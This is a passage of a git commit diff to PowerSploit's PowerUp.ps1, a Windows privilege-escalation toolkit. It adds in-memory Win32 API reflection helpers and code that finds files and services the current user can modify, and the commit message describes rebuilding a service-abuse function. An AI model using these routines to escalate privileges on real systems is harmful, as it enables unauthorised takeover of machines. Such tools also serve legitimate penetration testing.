diff options
author | Harmj0y <will@harmj0y.net> | 2016-06-01 19:03:18 -0400 |
---|---|---|
committer | Harmj0y <will@harmj0y.net> | 2016-06-01 19:03:18 -0400 |
commit | ecc96be81a881dca5fa598c776f1ca3574191164 (patch) | |
tree | 8200ecc5e066567affa0a7b3333c770407e0a6a2 | |
parent | 5660218b38eaacb95679dde712ecb6857143cfa3 (diff) | |
download | PowerSploit-ecc96be81a881dca5fa598c776f1ca3574191164.tar.gz PowerSploit-ecc96be81a881dca5fa598c776f1ca3574191164.zip |
-Removed Invoke-ServiceStart, Invoke-ServiceStop, Invoke-ServiceEnable, Invoke-ServiceDisable
-Renamed Get-ServiceFilePermission to Get-ModifiableServiceFile
-Renamed Get-ServicePermission Get-ModifiableService
-Integrated PSReflect codebase from @mattifestation
-Modified Get-ModifiableFile to enumerate the ACLs for passed file paths, returning the path/permission set/identityreference for each modifable file (instead of opening file for modification)
-Added Add-ServiceDacl from @mattifestation to add service Dacls to Get-Service objects
-Added Set-ServiceBinPath replace "sc.exe config SERVICE binPath= X" - now modifies using the ChangeServiceConfig Win32 API call
-Revamped Test-ServiceDaclPermission to take advantage of Add-ServiceDacl. Service permissions are now matched up against the current user's group memberships and specified permission sets to check for.
-Functions that checked for service restarting now use Test-ServiceDaclPermission
-Get-ModifiableService now uses Test-ServiceDaclPermission
-Invoke-ServiceAbuse completely rebuilt to use native PowerShell functions and Set-ServiceBinPath to reconfiguring service binary paths for abuse
-Parameter sets rewritten for several functions to accept -Credential objects were applicable and -Service objects from Get-Service on the pipeline
TODO: Tune up Write-ServiceBinary, Install-ServiceBinary, Restore-ServiceBinary, Find-DLLHijack, Find-PathHijack, Write-HijackDll, and all the registry checks
-rw-r--r-- | Privesc/PowerUp.ps1 | 1844 |
1 files changed, 1419 insertions, 425 deletions
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index afc06d6..c5f881d 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -8,415 +8,1332 @@ Optional Dependencies: None #> +#Requires -Version 2 + ######################################################## # -# Helpers +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 # ######################################################## -function Get-ModifiableFile { +function New-InMemoryModule +{ <# - .SYNOPSIS +.SYNOPSIS - Helper to return any modifiable file that's a part of a passed string. - - .EXAMPLE +Creates an in-memory assembly and module - PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiableFile +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. + +.PARAMETER ModuleName - Return the paths "C:\Temp\blah.bat" or "C:\Temp\config.ini" if they are - modifable by the current user context. +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. + +.EXAMPLE + +$Module = New-InMemoryModule -ModuleName Win32 #> - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + Param + ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] [String] - $Path + $ModuleName = [Guid]::NewGuid().ToString() ) - begin { - # false positives - $Excludes = @("MsMpEng.exe", "NisSrv.exe") + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() - $OrigError = $ErrorActionPreference - $ErrorActionPreference = "SilentlyContinue" + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } } - process { - $CandidateFiles = @() + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) - # possible separator character combinations - $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") - - ForEach($SeparationCharacterSet in $SeparationCharacterSets) { - $CandidateFiles += $Path.split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { - Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# +.SYNOPSIS + +Creates a .NET type for an unmanaged Win32 function. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func + +.DESCRIPTION + +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). + +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. + +.PARAMETER DllName + +The name of the DLL. + +.PARAMETER FunctionName + +The name of the target function. + +.PARAMETER EntryPoint + +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. + +.PARAMETER ReturnType + +The return type of the function. + +.PARAMETER ParameterTypes + +The function parameters. + +.PARAMETER NativeCallingConvention + +Specifies the native calling convention of the function. Defaults to +stdcall. + +.PARAMETER Charset + +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. + +.PARAMETER SetLastError + +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. + +.PARAMETER Module + +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER Namespace + +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + +.NOTES + +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $DllName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $EntryPoint, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) } } - - # see if we need to skip any excludes - $CandidateFiles | Sort-Object -Unique | Where-Object {$_} | Where-Object { - $Skip = $False - ForEach($Exclude in $Excludes) { - if($_ -match $Exclude) { $Skip = $True } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } } - if(!$Skip) {$True} - } | ForEach-Object { - try { - # try to open the file for writing, immediately closing it - $File = Get-Item -Path $_ -Force - $Stream = $File.OpenWrite() - $Null = $Stream.Close() - $_ + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ } - catch {} + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) } } - end { - $ErrorActionPreference = $OrigError + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes } } -function Test-ServiceDaclPermission { + +function psenum +{ <# - .SYNOPSIS +.SYNOPSIS - This function checks if the current user has specific DACL permissions - for a specific service with the aid of 'sc.exe sdshow'. +Creates an in-memory enumeration for use in your PowerShell session. - .PARAMETER ServiceName +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION - The service name to verify the permissions against. Required. +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. - .PARAMETER Dacl +.PARAMETER Module - The DACL permissions. Required. - - .EXAMPLE +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. - PS C:\> Test-ServiceDaclPermission -ServiceName VulnSVC -Dacl WPRPDC +.PARAMETER FullName - Return $True if the current user has Stop (WP), Start (RP), - and ChangeConf (DC) service permissions for 'VulnSVC' otherwise return $False. +The fully-qualified name of the enum. - .LINK +.PARAMETER Type - https://support.microsoft.com/en-us/kb/914392 - https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +The type of each enum element. + +.PARAMETER EnumElements + +A hashtable of enum elements. + +.PARAMETER Bitfield + +Specifies that the enum should be treated as a bitfield. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P #> - [CmdletBinding()] - Param( - [Parameter(Mandatory = $True)] - [string] - $ServiceName, + [OutputType([Type])] + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, - [Parameter(Mandatory = $True)] - [string] - $Dacl + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield ) - # check if sc.exe exists - if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){ - throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found" - } - - $ServiceAccessFlags = @{ - CC = 1 - DC = 2 - LC = 4 - SW = 8 - RP = 16 - WP = 32 - DT = 64 - LO = 128 - CR = 256 - SD = 65536 - RC = 131072 - WD = 262144 - WO = 524288 - GA = 268435456 - GX = 536870912 - GW = 1073741824 - GR = 2147483648 - } - - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - - # make sure we got a result back - if (-not ($TargetService)){ - throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine" + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) } - # retrieve DACL from sc.exe (only possible if 'RC' DACL is set) - $Result = sc.exe sdshow $TargetService.Name | where {$_} + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) - if ($Result -like "*OpenService FAILED*"){ - throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL permissions for '$($TargetService.Name)'" + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) } - $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } - # populate a list of group SIDs that the current user is a member of - $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} + $EnumBuilder.CreateType() +} - # add to the list the SID of the current user - $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - ForEach ($Sid in $Sids){ - ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ +# A helper function used to reduce typing while defining struct +# fields. +function field +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [UInt16] + $Position, - # check if the group/user SID is included in the ACE - if ($Sid -eq $Ace.SecurityIdentifier){ - - # convert the AccessMask to a service DACL string - $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { - if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { - $_ - } - }) -join "" - - # convert the input DACL to an array - $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) - - # counter to check how many DACL permissions were found - $MatchedPermissions = 0 + [Parameter(Position = 1, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# +.SYNOPSIS + +Creates an in-memory struct for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field + +.DESCRIPTION + +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. + +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. + +.PARAMETER Module + +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the struct. + +.PARAMETER StructFields + +A hashtable of fields. Use the 'field' helper function to ease +defining each field. + +.PARAMETER PackingSize + +Specifies the memory alignment of fields. + +.PARAMETER ExplicitLayout + +Indicates that an explicit offset for each field will be specified. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} + +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} + +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 1, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } - # check if each of the permissions exists - ForEach ($DaclPermission in $DaclArray){ - if ($DaclString.Contains($DaclPermission.ToUpper())){ - $MatchedPermissions += 1 - } - else{ - break - } - } - # found all permissions - success - if ($MatchedPermissions -eq $DaclArray.Count){ - return $True - } - } + $NewField.SetCustomAttribute($AttribBuilder) } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } } - return $False + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() } -function Invoke-ServiceStart { +######################################################## +# +# PowerUp Helpers +# +######################################################## + +function Get-ModifiableFile { <# .SYNOPSIS - Starts a specified service, first enabling the service if it was marked as disabled. + Parses a passed string containing multiple possible file/folder paths and returns + the file paths where the current user has modification rights. - .PARAMETER ServiceName + .DESCRIPTION + + Takes a complex path specification of an initial file/folder path with possible + configuration files, 'tokenizes' the string in a number of possible ways, and + enumerates the ACLs for each path that currently exists on the system. Any path that + the current user has modification rights on is returned in a custom object that contains + the modifiable path, associated permission set, and the IdentityReference with the specified + rights. The SID of the current user and any group he/she are a part of are used as the + comparison set against the parsed path DACLs. - The service name to start. Required. + .PARAMETER Path + + The string path to parse for modifiable files. Required .EXAMPLE - PS C:\> Invoke-ServiceStart -ServiceName VulnSVC + PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiableFile - Start the 'VulnSVC' service. + Path Permissions IdentityReference + ---- ----------- ----------------- + C:\Temp\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... #> [CmdletBinding()] Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] - [String] - $ServiceName + [Parameter(ValueFromPipeline = $True, Mandatory = $True)] + [String[]] + $Path ) - process { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - - # make sure we got a result back - if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + BEGIN { + # # false positives ? + # $Excludes = @("MsMpEng.exe", "NisSrv.exe") + + # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' } + + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value + $CurrentUserSids += $UserIdentity.User.Value + + $TranslatedIdentityReferences = @{} + } + + PROCESS { + + foreach ($TargetPath in $Path) { + + $CandidatePaths = @() + + # possible separator character combinations + $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") - try { - # enable the service if it was marked as disabled - if ($TargetService.StartMode -eq "Disabled"){ - $r = Invoke-ServiceEnable -ServiceName "$($TargetService.Name)" - if (-not $r){ - return $False + ForEach($SeparationCharacterSet in $SeparationCharacterSets) { + $CandidatePaths += $TargetPath.split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path } } - # start the service - Write-Verbose "Starting service '$($TargetService.Name)'" - $Null = sc.exe start "$($TargetService.Name)" + $CandidatePaths | Sort-Object -Unique | ForEach-Object { + $CandidatePath = $_ + Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object { - Start-Sleep -s .5 - return $True - } - catch{ - Write-Warning "Error: $_" - return $False + $FileSystemRights = $_.FileSystemRights.value__ + + $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] } + + # the set of permission types that allow for modification + $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile') -IncludeEqual -ExcludeDifferent + + if($Comparison) { + if ($_.IdentityReference -notmatch '^S-1-5.*') { + if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) { + # translate the IdentityReference if it's a username and not a SID + $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference) + $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value + } + $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference] + } + else { + $IdentitySID = $_.IdentityReference + } + + if($CurrentUserSids -contains $IdentitySID) { + New-Object -TypeName PSObject -Property @{ + Path = $CandidatePath + IdentityReference = $_.IdentityReference + Permissions = $Permissions + } + } + } + } + } } } } -function Invoke-ServiceStop { +function Add-ServiceDacl { <# .SYNOPSIS + + Adds a Dacl field to a service object returned by Get-Service. + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause - Stops a specified service. + .DESCRIPTION - .PARAMETER ServiceName + Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a + Dacl field to each object. It does this by opening a handle with ReadControl for the + service with using the GetServiceHandle Win32 API call and then uses + QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. - The service name to stop. Required. + .PARAMETER Service + An array of 